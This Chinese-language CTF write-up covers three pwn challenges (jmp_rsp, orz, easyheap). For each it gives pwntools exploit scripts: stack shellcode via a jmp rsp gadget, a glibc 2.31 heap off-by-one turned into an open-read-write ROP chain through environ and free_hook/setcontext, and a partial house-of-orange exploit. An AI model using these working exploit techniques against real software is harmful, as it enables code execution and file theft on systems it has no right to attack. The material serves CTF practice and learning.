jmp_rsp

栈可执行,往栈上注入shellcode后跳转到栈上执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#p=process('./jmp_rsp')
#gdb.attach(p,'b main')
#gdb.debug('./jmp_rsp')
p=remote('47.106.122.102',49602)
context.log_level='debug'
context.arch='amd64'
context.os='linux'
#gdb.attach(p)
jmp_rsp=0x000000000046d01d

shellcode=asm(shellcraft.sh())
#0x7fffffffdde0
#0x7ffeb21fe9e8
# RBP 0x7fffffffde60
payload=b'a'*0x88+p64(jmp_rsp)
payload+=shellcode
# jmp 0x7fffffffde70
p.sendline(payload)
p.interactive()

orz(2.31orw)

libc2.31 orw

存在off by one ,构造好overlap从而实现UAF

泄露libc后,通过environment获取栈地址,然后在栈ret处布置好rop,读出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
#context.log_level = 'debug'
p = process("./orz",env = {'LD_PRELOAD':'./libc-2.31.so'})
p = remote('120.79.220.233',41764)
libc = ELF("./libc-2.31.so")
def add(size,data):
p.recvuntil("Your choose which one?")
p.sendline("1")
p.recvuntil("please input note size : ")
p.sendline(str(size))
p.recvuntil("please input your note.")
p.send(data)
def edit(idx,data):
p.recvuntil("Your choose which one?")
p.sendline("2")
p.recvuntil("please input note index.")
p.sendline(str(idx))
p.recvuntil("please input new note.")
p.send(data)
def show(idx):
p.recvuntil("Your choose which one?")
p.sendline("3")
p.recvuntil("please input note index.")
p.sendline(str(idx))
def free(idx):
p.recvuntil("Your choose which one?")
p.sendline("4")
p.recvuntil("please input note index.")
p.sendline(str(idx))

for i in range(7):
add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0x28,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
for i in range(7):
free(6-i)

for i in range(7):
add(0xb0,'a')

show(4)
p.recvline()
heap = u64(p.recv(6)+b'\x00\x00') - 0x2B61
print(hex(heap))
for i in range(7):
free(6-i)
edit(9, p64(heap+0x2E90)*2+b'\x00'*0x10+p64(0x30)+b'\xc0')
free(10)
for i in range(7):
add(0xb0,'a')
show(9)
p.recvline()
libc_base = u64(p.recv(6)+b'\x00\x00') - 0x1ECBE0
print(hex(libc_base))
libc.address = libc_base
add(0xb0,'a')
free(7)
free(10)
edit(9,p64(libc.address+0x1EF600-1)+b'\n')
add(0xb0,'a')
add(0xb0,'\n')
show(10)
p.recvline()
p.recv(1)
stack = u64(p.recv(6)+b'\x00\x00') -0x120
print(hex(stack))
free(8)
free(7)
edit(9,p64(stack+0xa0)+b'\n')



pop_rdi = libc.address + 0x0000000000023b72
pop_rax = libc.address + 0x0000000000047400
pop_rsi = libc.address + 0x000000000002604f
pop_rdx_r12 = libc.address + 0x0000000000119241
syscall = libc.address + 0x11876B



payload = b''
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(syscall)
print(hex(len(payload)))
add(0xb0,'/home/pwn/flag\x00')
add(0xb0,payload)



free(11)
free(7)
edit(9,p64(stack)+b'\n')


payload = b''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap+0x2Ea0)
payload += p64(pop_rsi)
payload += p64(2)
payload += p64(pop_rdx_r12)
payload += p64(2)
payload += p64(0)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)
print(hex(len(payload)))

add(0xb0,'/home/pwn/flag\x00')
#gdb.attach(p,'b *$rebase(0x163e)')
add(0xb0,payload)

p.interactive()
#flag{dda5b2d3-862f-49dc-950b-f764747f2836}

另一种做法 通过freehook来调用setcontext,在freehook附近布置rop,然后栈迁移到此处执行

远程记得文件描述符改为6,本地为3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import *
#p=process('./orz')
p=remote('120.79.220.233',41764)
libc=ELF('./libc-2.31.so')
context.log_level='debug'
#0x28 0xb0
def add(size,content):
p.sendlineafter('Your choose which one?\n','1')
p.sendlineafter('please input note size : ',str(size))
p.sendlineafter('note.\n',content)
def edit(idx,content):
p.sendlineafter('Your choose which one?\n','2')
p.sendlineafter('index.\n',str(idx))
p.sendafter('note.',content)
def show(idx):
p.sendlineafter('Your choose which one?\n','3')
p.sendlineafter('index.\n',str(idx))
def free(idx):
p.sendlineafter('Your choose which one?\n','4')
p.sendlineafter('index.\n',str(idx))


heap_array=0x40E0
for i in range(8):
add(0xb0,b'aaaa')

add(0x28,b'topchunk')#8
for i in range(7):
free(i)
free(7)
add(0x28,b'a'*7)#0



show(0)
p.recvuntil('\x0a')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecc90
free_hook=libc.sym['__free_hook']+libc_base
pop_rdi=0x0000000000023b72+libc_base
pop_rsi=0x000000000002604f+libc_base
pop_rdx_r12=0x0000000000119241+libc_base
pop_rax=0x0000000000047400+libc_base
#0x00000000001518b0:
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget=0x00000000001518b0+libc_base
rop_addr=free_hook-0x100
flag_addr=free_hook-0x120
my_flag=free_hook+0x100
setcontext=libc.sym['setcontext']+61+libc_base
syscall=0x000000000002284d+libc_base
syscall_ret=0x00000000000630d9+libc_base
ret_addr=0x00000000000beeb1+libc_base
free(0)


for i in range(7):
add(0xb0,b'aaaa') #0-6
'''
chunk 9 0x31
chunk 10 0x31
chunk 11 0x31
chunk 8 0x31
chunk 7 0x31
chunk 12 0x31 #topchunk

'''

add(0x28,b'aaaa')
add(0x28,b'aaaa')
add(0x28,b'aaaa')# unsorted
add(0x28,b'aaaa')#
add(0x28,b'aaaa')#

add(0xb0,b'aaaa')#13


edit(9,b'\x00'*0x28+b'\xc1')


add(0xb0,b'aaaa')#14
free(14)

free(10)
add(0xb0,b'aaaa')#10

edit(10,b'\x00'*0x28+p64(0xc1)+b'\n')
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120)+b'\n')
success('libc_base=>'+hex(libc_base))
success('free=>'+hex(free_hook))
success("set=>"+hex(setcontext))

add(0xb0,b'aaaa')#11


payload=b'/home/pwn/flag'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(rop_addr)*2
#open free_hook-0x100
payload+=p64(pop_rdi)
payload+=p64(flag_addr)
payload+=p64(pop_rsi)
payload+=p64(0)
payload+=p64(pop_rax)
payload+=p64(2)
payload+=p64(syscall_ret)
#read
payload+=p64(pop_rdi)+p64(6)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(0)
payload+=p64(syscall_ret)
#write
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(1)
payload+=p64(syscall_ret)

add(0xb0,payload[:0xb0]) #14 free_hook-0x120
#free_hook-0x120+0xb0= free-0x70

add(0xb0,b'aaaa')#15
free(15)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120+0xb0)+b'\n')
add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#15 free-0x70
payload2=payload[0xb0:]
payload2=payload2.ljust(0x70,b'\x00')
payload2+=p64(0)+b'\n' #free_hook
edit(15,payload2)
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(0xb0,b'aaaa')#16
free(16)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook)+b'\n')

add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#16 free_hook

payload=p64(gadget)+p64(free_hook)+p64(0)*2+p64(setcontext)
payload=payload.ljust(0xa0,b'\x00')
payload+=p64(rop_addr)+p64(ret_addr)+b'\n'
edit(16,payload)
#gdb.attach(p,'b *'+hex(syscall_ret))
free(16)
#add(0x28,b'topchunk')
p.interactive()

easyheap (orange+未初始化变量)

赛后复现

一道开了orw的2.31的堆

主要是漏洞不太好去发现且利用

image-20220615125027840

image-20220615173845366

image-20220615173754000

此处的索引有未初始化的初值,它可能是不被赋值的,如果我们能够控制,就能任意写堆地址

而backdoor和edit都有次数限制

image-20220615173934663

我们可以查看get_int函数的栈情况,因为它是add函数前调用的一个函数,这个函数可能有机会布置栈帧,从而控制add索引的初值

image-20220615174052300

发现确实有机会,atoi为字符串\x00截断,但read读了0x10字节,故可以布置一定的栈帧

再看赋值堆地址这段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000001412 018 mov     rcx, rax
.text:0000000000001415 018 mov eax, [rbp+var_4]
.text:0000000000001418 018 cdqe #rax=v3
.text:000000000000141A 018 lea rdx, ds:0[rax*8]
.text:0000000000001422 018 lea rax, heap
.text:0000000000001429 018 mov [rdx+rax], rcx
.text:000000000000142D 018 mov eax, [rbp+var_4]
.text:0000000000001430 018 cdqe
.text:0000000000001432 018 lea rcx, ds:0[rax*4]
.text:000000000000143A 018 lea rdx, heap_size
.text:0000000000001441 018 mov eax, [rbp+var_C]
.text:0000000000001444 018 mov [rcx+rdx], eax
.text:0000000000001447 018 lea rdi, aContext ; "Context:"
.text:000000000000144E 018 call puts

对应

1
2
*((_QWORD *)&heap + v3) = malloc(v1);
heap_size[v3] = v1;

然而ida识别的是:

image-20220615173706713

heap=0x4060

backdoor_time=0x4014

最后的offset为 (backdoor_time-heap)/8=-10

cdqe使用eax的最高位拓展rax高32位的所有位

ida识别错误了,这里用的是*8字节作为索引来,而反汇编显示是4字节 所以还是得看汇编

最终计算得到-10这个偏移值 也就是p32(0xffffffff-9)

用于从heap 以负数做索引写到backdoor 实现backdoor的多次利用

本题没有free函数,故需用house of orange的方法,越界写topchunksize,注意需要对齐

image-20220615161715845

还有记得pre inuse位要为1,故最终fake size是0xb71

最后add一个比这个size大的chunk,就会得到一个unsortedbin

在这之后 我们有几乎无限次的edit和back的任意写机会

先打stdout leak出libc之后,不管是任意写exit(house of banana) 还是直接再leak出栈地址(通过environ)来打返回地址都能打通。

由于个人原因 这里就不贴完整exp了,贴前面到unsortedbin的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
p=process('./easyheap')
libc=ELF('./libc-2.31.so')
context.log_level='debug'
context.arch='amd64'
context.os='linux'
heap=0x4060
backdoor_time=0x4014
offset=-10 # but 8 bytes
#gdb.attach(p)

def madd(size,content,offset=0):
payload=b'1\x00\x00\x00'+p32(0xffffffff-9)*3
p.sendafter('4.delete\n',payload)
p.sendlineafter('Size?\n',str(size))
p.sendlineafter('Context:\n',content)

def edit(idx,content):
payload=b'2\x00\x00\x00'+p32(0xffffffff-9)*3
p.sendafter('4.delete\n',payload)
p.sendlineafter('Idx?\n',str(idx))
p.sendlineafter('Context:\n',content)

def back(size,off,content):
payload=b'666\x00\x00\x00\x00\x00'+p32(0xffffffff-9)*2
p.sendafter('4.delete\n',payload)
p.sendlineafter('Size?\n',str(size))
p.sendafter('?\n',str(off))
p.sendline(content)
#b *$rebase(0x1405)
def pwn():


for i in range(8):
madd(0x200,b'aaaa')

madd(0x200,b'aaaa')

back(0x250,0x258,p64(0xb71))

madd(0xc00,b'')#unsorted bin

题目下载

https://bbs.pediy.com/thread-273312.htm